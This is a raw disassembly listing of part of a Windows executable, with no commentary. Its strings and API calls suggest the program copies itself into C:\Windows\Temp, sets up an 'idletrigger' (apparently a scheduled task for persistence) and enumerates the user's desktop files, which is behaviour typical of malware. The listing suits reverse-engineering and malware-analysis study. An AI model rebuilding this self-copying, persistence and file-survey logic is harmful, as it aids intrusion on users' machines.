cmp rcx, rax
cmovne rcx, rdx
nop word [rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x14000c774
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x14000d380
cmp r8b, 0xe0
jb 0x14000d36c
cmp r8b, 0xed
jne 0x14000d3ce
cmp rcx, rax
je 0x14000c774
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x14000c774
cmp byte [rdx + 1], 0x9f
ja 0x14000d757
add rdx, 3
mov rcx, rdx
jmp 0x14000d380
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x14000d380
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x14000d380
mov r15, qword [rbp + 0x9e0]
mov r14, qword [rbp + 0x9e8]
mov rax, qword [rbp + 0x9f0]
mov qword [rbp + 0xac8], rax
lea rcx, [rbp + 0x6f0]
call fcn.1400036a0
cmp dword [rbp + 0x2c0], 3
jne 0x14000d666
mov rsi, qword [rbp + 0x2c8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
mov r12, qword [rbp + 0x968]
je 0x14000d470
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000d470
cmp qword [rbx + 0x10], 0x11
jb 0x14000d45e
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d48e
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14000d630
jmp 0x14000d67c
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
retf
add cl, byte [rbp - 0x7b]
dec dword [rdi]
test dword [rdx], eax
invalid
invalid
invalid
retf
jmp 0x14000c6e5
mov rsi, rdx
mov qword [rbp + 0x3e0], r13
mov qword [rbp + 0x3e8], 1
mov qword [rbp + 0x3f0], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x3f8], xmm0
lea rcx, [rbp + 0x3e0]
call fcn.1400de5e0
mov eax, esi
and eax, 3
cmp eax, 1
mov r12, qword [rbp + 0x968]
jne 0x14000d58e
lea rdi, [rsi - 1]
mov rbx, qword [rsi - 1]
mov rsi, qword [rsi + 7]
mov rcx, rbx
call qword [rsi]
cmp qword [rsi + 8], 0
je 0x14000d554
cmp qword [rsi + 0x10], 0x11
jb 0x14000d542
mov rbx, qword [rbx - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x6f0]
call fcn.1400036a0
cmp dword [rbp + 0x2c0], 3
je 0x14000d5a3
cmp qword [rbp + 0x9e0], 0
jne 0x14000d61a
jmp 0x14000d630
lea rcx, [rbp + 0x6f0]
call fcn.1400036a0
cmp dword [rbp + 0x2c0], 3
jne 0x14000d57b
mov rsi, qword [rbp + 0x2c8]
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14000d5e0
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000d5e0
cmp qword [rbx + 0x10], 0x11
jb 0x14000d5ce
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsi]
shl rax, 1
test rax, rax
je 0x14000d5fe
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x9e0], 0
je 0x14000d630
mov r8, qword [rbp + 0x9e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov ecx, 5
call fcn.1400d5da0
cmp qword [rbp + 0x958], 0
je 0x14000d65a
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xab0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov r14, qword [rbp + 0xab8]
jmp 0x14000be62
mov r12, qword [rbp + 0x968]
movabs rax, 0x8000000000000000
cmp r15, rax
je 0x14000d630
movdqu xmm0, xmmword [0x1401151fc]
movdqa xmmword [rbp + 0x6f0], xmm0
mov qword [rbp + 0x3e0], 0
lea rcx, [rbp + 0x6f0]
lea rsi, [rbp + 0x3e0]
xor edx, edx
xor r8d, r8d
mov r9, rsi
call qword [sym.imp.shell32.dll_SHGetKnownFolderPath]
mov rcx, qword [rbp + 0x3e0]
test eax, eax
mov qword [rbp + 0x9d8], r14
mov qword [rbp + 0x960], r15
je 0x14000d77e
call qword [sym.imp.ole32.dll_CoTaskMemFree]
movabs rax, 0x8000000000000000
mov qword [rbp + 0x6c0], rax
jmp 0x14000d7be
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14000d6fa
call fcn.1400396d0
mov rax, qword [rsi + 0x48]
test rax, rax
je 0x14000d70a
mov rcx, qword [rsi + 0x50]
call qword [rax + 0x18]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp + 0xa90]
cmp qword [rsi], 0
je 0x14000d73c
mov r8, qword [rsi + 8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [r12]
jmp 0x14000beca
shl r9, 1
test r9, r9
je 0x14000be62
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xab0]
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000be62
call qword [sym.imp.kernel32.dll_lstrlenW]
movsxd r8, eax
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0x6c0]
call fcn.1400d7cd0
mov rcx, qword [rbp + 0x3e0]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
movabs rax, 0x8000000000000000
cmp qword [rbp + 0x6c0], rax
jne 0x14000ded8
mov qword [rbp + 0x6f0], r13
mov qword [rbp + 0x6f8], 1
mov qword [rbp + 0x700], 8
pxor xmm0, xmm0
movdqu xmmword [rbp + 0x708], xmm0
lea rcx, [rbp + 0x6f0]
call fcn.1400de860
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x48]
test rsi, rsi
jne 0x14000d823
call fcn.14004aae0
test rax, rax
je 0x1400102e7
mov rsi, qword [rax]
inc qword [rsi]
je 0x140010648
lea rdi, [rsi + 0x10]
lea rbx, [rsi + 0x120]
mov rax, qword [rsi + 0x110]
jmp 0x14000d862
mov rcx, rbx
mov rdx, rdi
call fcn.140004600
xor ecx, ecx
lea rax, [rcx + 1]
test dword [rsi + rcx*4 + 0x10], 0x40000000
mov qword [rsi + 0x110], rax
je 0x14000d89b
mov rcx, rax
cmp rax, 0x40
jb 0x14000d84d
mov rax, qword [rsi + 0x158]
test rax, rax
jle 0x14000d840
cmp qword [rsi + 0x160], 0
js 0x14000d840
add rax, 0xffffffffffffff00
mov qword [rsi + 0x158], rax
mov rcx, rbx
mov rdx, rdi
call fcn.14004ae80
jmp 0x14000d84b
dec qword [rsi]
jne 0x14000d8b8
dec qword [rsi + 8]
jne 0x14000d8b8
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rbp + 0x3e0]
call fcn.1400073a0
mov rdi, qword [rbp + 0x3e0]
mov rsi, qword [rbp + 0x3e8]
cmp rdi, 3
je 0x14001019f
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x70]
mov r8d, 0xb0
call fcn.140106250
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rsi
lea rcx, [rbp + 0x2c0]
lea rdi, [rbp + 0x60]
mov rdx, rdi
call fcn.1400075d0
mov rax, qword [rbp + 0x2c0]
mov rsi, qword [rbp + 0x2c8]
test rax, rax
je 0x14001019f
movdqu xmm0, xmmword [rbp + 0x2d0]
movdqu xmm1, xmmword [rbp + 0x2e0]
movdqu xmmword [rbp + 0x990], xmm1
movdqu xmmword [rbp + 0x980], xmm0
mov qword [rbp + 0x970], rax
mov qword [rbp + 0x978], rsi
lea rcx, [rbp + 0x970]
call fcn.140009e90
test rax, rax
je 0x1400101e0
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x3e0]
call fcn.1400194e0
cmp byte [rbp + 0x3e0], 0
jne 0x1400101ec
mov ecx, 3
call fcn.1400d5da0
lea rcx, [rbp + 0x3e0]
call fcn.1400073a0
mov rbx, qword [rbp + 0x3e0]
mov rsi, qword [rbp + 0x3e8]
cmp rbx, 3
je 0x140010193
lea rdx, [rbp + 0x3f0]
lea rcx, [rbp + 0x700]
mov r8d, 0xb0
call fcn.140106250
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], rsi
lea rcx, [rbp + 0x2c0]
lea rdx, [rbp + 0x6f0]
call fcn.1400075d0
mov rax, qword [rbp + 0x2c0]
mov rsi, qword [rbp + 0x2c8]
test rax, rax
je 0x140010193
movdqu xmm0, xmmword [rbp + 0x2d0]
movdqu xmm1, xmmword [rbp + 0x2e0]
movdqu xmmword [rbp + 0xa20], xmm1
movdqu xmmword [rbp + 0xa10], xmm0
mov qword [rbp + 0xa00], rax
mov qword [rbp + 0xa08], rsi
lea rcx, [rbp + 0xa00]
call fcn.140009e90
test rax, rax
je 0x140010202
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
lea rcx, [rbp + 0x3e0]
call fcn.1400194e0
cmp byte [rbp + 0x3e0], 0
jne 0x14001020e
lea rsi, [rbp + 0xa00]
mov rcx, rsi
call fcn.140002710
lea rcx, [rbp + 0x970]
call fcn.140002710
lea rcx, [rbp + 0x6f0]
call fcn.1400dac70
mov r13, qword [rbp + 0x6f0]
mov rbx, qword [rbp + 0x6f8]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x14000daed
mov r15, qword [rbp + 0x700]
lea rcx, str.C:WindowsTempFailed_to_extract_file_nameCopied_executable_to:_z2
mov edx, 0xf
call case.0x1400d8095.178
mov r14, rax
test rax, rax
je 0x14000e0c5
test r13, r13
je 0x14000daea
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, r14
mov eax, ebx
and eax, 3
cmp eax, 1
jne 0x14000db3e
lea rdi, [rbx - 1]
mov r14, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov rcx, r14
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000db2c
cmp qword [rbx + 0x10], 0x11
jb 0x14000db1a
mov r14, qword [r14 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, str.idletrigger
mov qword [rbp + 0x6f0], rax
lea rax, [0x1401132bb]
mov qword [rbp + 0x6f8], rax
mov word [rbp + 0x700], 0
lea rbx, [rbp + 0x60]
lea rdx, [rbp + 0x6f0]
mov rcx, rbx
call fcn.140100520
mov r14, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x14000dea1
mov rcx, r14
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rdi, rax
cmp qword [rbp + 0x60], 0
je 0x14000dbac
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0xa00], 0xb4
mov qword [rbp + 0x60], rsi
lea r14, [fcn.140012f00]
mov qword [rbp + 0x68], r14
lea r13, [0x140172d50]
mov qword [rbp + 0x6f0], r13
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rbx
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0x970]
lea rdx, [rbp + 0x6f0]
call fcn.140011100
mov r15, qword [rbp + 0x978]
mov rax, qword [rbp + 0x980]
add rax, r15
mov qword [rbp + 0x6f0], r15
mov qword [rbp + 0x6f8], rax
mov word [rbp + 0x700], 0
lea rdx, [rbp + 0x6f0]
mov rcx, rbx
call fcn.140100520
mov r12, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x14000deb3
mov rcx, r12
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov rsi, rax
cmp qword [rbp + 0x60], 0
je 0x14000dc7c
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0x970], 0
je 0x14000dc98
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x6c0], 0x258
lea rax, [rbp + 0x6c0]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], r14
mov qword [rbp + 0x6f0], r13
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rbx
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.140011100
mov rbx, qword [rbp + 0xa08]
mov rax, qword [rbp + 0xa10]
add rax, rbx
mov qword [rbp + 0x6f0], rbx
mov qword [rbp + 0x6f8], rax
mov word [rbp + 0x700], 0
lea rcx, [rbp + 0x60]
lea rdx, [rbp + 0x6f0]
call fcn.140100520
mov r12, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x70]
test rdx, rdx
je 0x14000dec5
mov rcx, r12
call qword [sym.imp.oleaut32.dll_SysAllocStringLen]
mov r15, rax
cmp qword [rbp + 0x60], 0
je 0x14000dd62
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rbp + 0xa00], 0
je 0x14000dd7e
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rbp + 0x2c0], rdi
mov qword [rbp + 0x2c8], rsi
mov word [rbp + 0x2d8], 1
mov qword [rbp + 0x2d0], r15
lea rcx, [rbp + 0x6f0]
call fcn.1400dac70
mov r14, qword [rbp + 0x6f0]
movabs rax, 0x8000000000000000
cmp r14, rax
je 0x140010246
mov rdi, qword [rbp + 0x6f8]
mov rdx, qword [rbp + 0x700]
mov rcx, rdi
call fcn.1400df460
test rax, rax
je 0x140010279
mov r12, rax
mov r15, rdx
test rdx, rdx
je 0x14000eaa6
mov rsi, r15
add rsi, r12
xor r13d, r13d
mov rcx, r12
jmp 0x14000de1f
add rcx, 2
cmp rax, rsi
cmovne rax, rcx
mov edx, 2
nop
add r13, rdx
mov rcx, rax
cmp rax, rsi
je 0x14000ea7c
lea rax, [rcx + 1]
movzx r8d, byte [rcx]
mov edx, 1
test r8b, r8b
jns 0x14000de10
cmp r8b, 0xe0
jb 0x14000ddfe
cmp r8b, 0xed
jne 0x14000de6b
cmp rax, rsi
je 0x14000ea7c
lea rax, [rcx + 2]
cmp rax, rsi
je 0x14000ea7c
cmp byte [rcx + 1], 0x9f
ja 0x14000e210
add rcx, 3
mov edx, 3
mov rax, rcx
jmp 0x14000de10
add rcx, 2
cmp rax, rsi
cmove rcx, rax
xor eax, eax
cmp rcx, rsi
setne al
add rax, rcx
mov edx, 3
cmp r8b, 0xf0
jb 0x14000de10
xor ecx, ecx
cmp rax, rsi
setne cl
add rax, rcx
mov edx, 4
jmp 0x14000de10
xor edi, edi
cmp qword [rbp + 0x60], 0
jne 0x14000db9a
jmp 0x14000dbac
xor esi, esi
cmp qword [rbp + 0x60], 0
jne 0x14000dc6a
jmp 0x14000dc7c
xor r15d, r15d
cmp qword [rbp + 0x60], 0
jne 0x14000dd50
jmp 0x14000dd62
movdqu xmm0, xmmword [rbp + 0x6c0]
movdqu xmm1, xmmword [rbp + 0x6d0]
movdqa xmmword [rbp + 0x980], xmm1
movdqa xmmword [rbp + 0x970], xmm0
lea rdx, [0x1401133be]
lea rcx, [rbp + 0x970]
mov r8d, 7
call fcn.1400db760
mov rdx, qword [rbp + 0x978]
mov r8, qword [rbp + 0x980]
lea rcx, [rbp + 0x6f0]
call fcn.140014520
cmp qword [rbp + 0x6f0], 0
jne 0x1400104fb
mov rdi, qword [rbp + 0x700]
test rdi, rdi
je 0x14000e13c
js 0x14001031a
mov rbx, qword [rbp + 0x6f8]
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x140010507
mov qword [rbp + 0xad8], rax
mov rcx, rax
mov rdx, rbx
mov r8, rdi
call fcn.140106250
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
call fcn.1400dfbe0
test rax, rax
je 0x140010514
mov r14, rax
mov rcx, rax
mov rdx, rbx
mov r8, rdi
call fcn.140106250
mov qword [rbp + 0x6f0], rdi
mov qword [rbp + 0x6f8], r14
mov qword [rbp + 0x700], rdi
mov byte [rbp + 0x708], 0
lea rdx, [0x14014a4d0]
lea rcx, [rbp + 0x6f0]
mov r8d, 1
call fcn.1400db760
mov rax, qword [rbp + 0x6f0]
mov qword [rbp + 0xac0], rax
mov rdx, qword [rbp + 0x6f8]
mov r8, qword [rbp + 0x700]
mov byte [rbp + 0xae5], 1
lea rcx, [rbp + 0x60]
mov qword [rbp + 0xaa0], rdx
call fcn.1400d9a20
mov rax, qword [rbp + 0x60]
mov r15, qword [rbp + 0x68]
movabs rcx, 0x8000000000000000
cmp rax, rcx
je 0x14000e083
mov rcx, qword [rbp + 0x70]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], r15
mov qword [rbp + 0x700], rcx
mov byte [rbp + 0xae5], 1
lea rcx, [rbp + 0xa00]
lea rdx, [rbp + 0x6f0]
call fcn.1400db160
mov r14, qword [rbp + 0xa00]
mov r15, qword [rbp + 0xa08]
movabs rax, 0x8000000000000000
cmp r14, rax
jne 0x14000e4f6
cmp qword [rbp + 0xac0], 0
lea rdi, [rbp + 0x60]
mov r14, qword [rbp + 0xad8]
je 0x14000e0ae
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xaa0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r14
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e14a
mov rcx, rbx
mov rdx, r15
call fcn.1400df460
test rax, rax
je 0x14000e203
mov r8, rdx
lea r12, [rbp + 0x3e0]
mov rcx, r12
mov rdx, rax
call fcn.1400df610
mov r8, qword [rbp + 0x3e8]
mov r9, qword [rbp + 0x3f0]
mov rcx, rbx
mov rdx, r15
call fcn.1400e39a0
test rax, rax
je 0x14000e459
mov r14, rdx
cmp qword [rbp + 0x3e0], 0
je 0x14000dad3
mov r8, qword [rbp + 0x3e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000dad3
movabs r15, 0x300000002
lea rdi, [rbp + 0x60]
mov qword [rbp + 0x60], r15
mov qword [rbp + 0x3e0], rdi
lea rax, [fcn.1400da400]
mov qword [rbp + 0x3e8], rax
lea rax, str.Unable_to_read_the_users_desktop_file_list:
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rsi
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0x6f0]
call fcn.1400de860
mov rax, qword [rbp + 0x60]
mov ecx, eax
and ecx, 3
cmp ecx, 1
jne 0x14000e98a
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov rbx, qword [rax + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14000e1ec
cmp qword [rbx + 0x10], 0x11
jb 0x14000e1da
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14000e98a
call fcn.140002160
mov r14, rax
jmp 0x14000dad3
test r15, r15
js 0x14001031a
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r15
call fcn.1400dfbe0
test rax, rax
je 0x14001031f
mov qword [rbp + 0x6f0], r15
mov qword [rbp + 0x6f8], rax
mov rbx, r15
sub rbx, r13
jb 0x14001054c
mov rcx, rax
mov rdx, r12
mov r8, r13
mov qword [rbp + 0xad8], rax
call fcn.140106250
mov rcx, qword [rbp + 0xad8]
mov qword [rbp + 0x700], r13
mov r10, r13
cmp rbx, 2
ja 0x14000e29c
lea rcx, [rbp + 0x6f0]
mov r8d, 3
mov rdx, r13
call fcn.140110070
mov rcx, qword [rbp + 0x6f8]
mov r10, qword [rbp + 0x700]
lea rax, [rcx + r10]
lea r11, [rbp + 0x6f0]
mov byte [rax + 2], 0xbd
mov word [rax], 0xbfef
add r10, 3
mov qword [rbp + 0x700], r10
mov rbx, r13
add rbx, 3
cmp rbx, r15
ja 0x140010535
je 0x14000ea13
lea r9, [r12 + rbx]
mov r13, rbx
mov qword [rbp + 0xad0], r9
jmp 0x14000e300
add r9, 2
cmp rax, rsi
cmovne rax, r9
mov edx, 2
add r13, rdx
mov r9, rax
cmp rax, rsi
je 0x14000ea16
lea rax, [r9 + 1]
movzx r8d, byte [r9]
mov edx, 1
test r8b, r8b
jns 0x14000e2f1
cmp r8b, 0xe0
jb 0x14000e2e1
cmp r8b, 0xed
jne 0x14000e349
cmp rax, rsi
je 0x14000ea16
lea rax, [r9 + 2]
cmp rax, rsi
je 0x14000ea16
cmp byte [r9 + 1], 0x9f
ja 0x14000e37f
add r9, 3
mov edx, 3
mov rax, r9
jmp 0x14000e2f1
add r9, 2
cmp rax, rsi
cmove r9, rax
xor eax, eax
cmp r9, rsi
setne al
add rax, r9
mov edx, 3
cmp r8b, 0xf0
jb 0x14000e2f1
xor edx, edx
cmp rax, rsi
setne dl
add rax, rdx
mov edx, 4
jmp 0x14000e2f1
mov r8, r13
sub r8, rbx
jb 0x140010622
cmp r13, r15
ja 0x140010636
mov rdx, qword [rbp + 0x6f0]
mov rax, rdx
sub rax, r10
cmp rax, r8
jae 0x14000e3d5
mov rcx, r11
mov rdx, r10
mov rbx, r8
call fcn.140110070
mov r10, qword [rbp + 0x700]
mov rax, qword [rbp + 0x6f0]
mov qword [rbp + 0xaa8], rax
mov rcx, qword [rbp + 0x6f8]
mov r8, rbx
jmp 0x14000e3dc
mov qword [rbp + 0xaa8], rdx
mov qword [rbp + 0xab8], r10
mov qword [rbp + 0xad8], rcx
add rcx, r10
mov rdx, qword [rbp + 0xad0]
mov rbx, r8
call fcn.140106250
mov r10, qword [rbp + 0xab8]
add r10, rbx
mov qword [rbp + 0x700], r10
mov rax, qword [rbp + 0xaa8]
sub rax, r10
cmp rax, 2
ja 0x14000e442
mov r8d, 3
lea rcx, [rbp + 0x6f0]
mov rdx, r10
call fcn.140110070
mov rcx, qword [rbp + 0x6f8]
mov r10, qword [rbp + 0x700]
jmp 0x14000e449
mov rcx, qword [rbp + 0xad8]
lea r11, [rbp + 0x6f0]
lea rax, [rcx + r10]
jmp 0x14000e2a7
mov qword [rbp + 0x60], r12
lea rax, [0x1400da5d0]
mov qword [rbp + 0x68], rax
lea rax, [0x140113290]
mov qword [rbp + 0x6f0], rax
mov qword [rbp + 0x6f8], 2
mov qword [rbp + 0x710], 0
mov qword [rbp + 0x700], rdi
mov qword [rbp + 0x708], 1
lea rcx, [rbp + 0x6f0]
call fcn.1400de5e0
cmp qword [rbp + 0x3e0], 0
je 0x14000e4ca
mov r8, qword [rbp + 0x3e8]
mov rcx, qword [0x140182260]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x14000e4e1
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
xor ebx, ebx
mov eax, ebx
and eax, 3
cmp eax, 1
je 0x14000daf7
jmp 0x14000db3e
lea rbx, [rbp + 0x6f0]
mov r8d, 0x250
mov rcx, rbx
xor edx, edx
call fcn.1401069d0
mov rcx, r15
mov rdx, rbx
call qword [sym.imp.kernel32.dll_FindFirstFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e5fc
mov r13, rax
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400105dd
mov rsi, rax
mov qword [rax], 1
mov qword [rax + 8], 1
mov qword [rax + 0x10], rdi
mov rax, qword [rbp + 0xad8]
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rdi
mov byte [rsi + 0x28], 0
movdqu xmm0, xmmword [rbp + 0x6f0]
movdqu xmm1, xmmword [rbp + 0x700]
movdqu xmm2, xmmword [rbp + 0x70c]
movdqu xmmword [rbp + 0x2dc], xmm2
movdqa xmmword [rbp + 0x2d0], xmm1
movdqa xmmword [rbp + 0x2c0], xmm0
movzx eax, word [rbp + 0x71c]
mov word [rbp + 0xab8], ax
movzx eax, word [rbp + 0x71e]
mov dword [rbp + 0xad0], eax
movzx eax, word [rbp + 0x720]
mov word [rbp + 0xaa8], ax
lea rdx, [rbp + 0x722]
lea rcx, [rbp + 0x3e0]
mov r8d, 0x21e
call fcn.140106250
test r14, r14
je 0x14000e5f4
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r12d, 1
jmp 0x14000e677
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 2
jne 0x14000e9b3
movzx eax, byte [0x140182310]
mov edx, 0x30
xor ecx, ecx
call fcn.1400dfbe0
mov rsi, rax
test rax, rax
mov rax, qword [rbp + 0xad8]
je 0x140010603
mov qword [rsi], 1
mov qword [rsi + 8], 1
mov qword [rsi + 0x10], rdi
mov qword [rsi + 0x18], rax
mov qword [rsi + 0x20], rdi
mov byte [rsi + 0x28], 0
test r14, r14
je 0x14000e667
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r12d, r12d
mov r13, 0xffffffffffffffff
mov dword [rbp + 0xad0], eax
cmp qword [rbp + 0xac0], 0
je 0x14000e697
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, qword [rbp + 0xaa0]
call qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm0, xmmword [rbp + 0x2c0]
movdqa xmm1, xmmword [rbp + 0x2d0]
movaps xmmword [rbp + 0xa00], xmm0
movdqa xmmword [rbp + 0xa10], xmm1
movdqu xmm0, xmmword [rbp + 0x2dc]
movdqu xmmword [rbp + 0xa1c], xmm0
lea rcx, [rbp + 0x60]
lea rdi, [rbp + 0x3e0]
mov r8d, 0x21e
mov rdx, rdi
call fcn.140106250
cmp word [rbp + 0xab8], 0x2e
sete al
mov edx, dword [rbp + 0xad0]
test dx, dx
sete cl
xor edx, 0x2e
or dx, word [rbp + 0xaa8]
sete dl
or dl, cl
and dl, al
mov byte [rbp + 0xad8], dl
mov r14, qword [sym.imp.kernel32.dll_FindNextFileW]
xor ebx, ebx
mov qword [rbp + 0xac0], rsi
jmp 0x14000e752
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r12
call qword [sym.imp.kernel32.dll_HeapFree]
dec r15
mov rcx, qword [0x140182260]
xor r12d, r12d
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, rsi
mov rsi, qword [rbp + 0xac0]
cmp r13, 0xffffffffffffffff
je 0x14000e912
cmp r12d, 1
setne al
or al, byte [rbp + 0xad8]
je 0x14000e827
mov r8d, 0x250
mov rcx, rdi
xor edx, edx
call fcn.1401069d0
mov rcx, r13
mov rdx, rdi
call r14
test eax, eax
mov r15, qword [sym.imp.kernel32.dll_GetLastError]
jne 0x14000e7c9
call r15
cmp eax, 0x12
je 0x14000e914
call r15
shl rax, 0x20
or rax, 2
mov qword [rbp + 0x6f8], 0
mov ecx, 0x10
jmp 0x14000e816
mov rcx, r13
mov rdx, rdi
call r14
test eax, eax
je 0x14000e793
cmp word [rbp + 0x40c], 0x2e
jne 0x14000e7ef
movzx eax, word [rbp + 0x40e]
test ax, ax
je 0x14000e7bc
cmp ax, 0x2e
jne 0x14000e7ef
cmp word [rbp + 0x410], 0
je 0x14000e7bc
lock inc qword [rsi]
jle 0x140010648
mov r8d, 0x250
lea rcx, [rbp + 0x700]
mov rdx, rdi
call fcn.140106250
mov ecx, 8
mov rax, rsi
mov qword [rbp + rcx + 0x6f0], rax
mov rcx, qword [rbp + 0x6f8]
jmp 0x14000e8a5
lock inc qword [rsi]
jle 0x140010648
movups xmm0, xmmword [rbp + 0xa1c]
lea rax, [rbp + 0x700]
movups xmmword [rax + 0x1c], xmm0
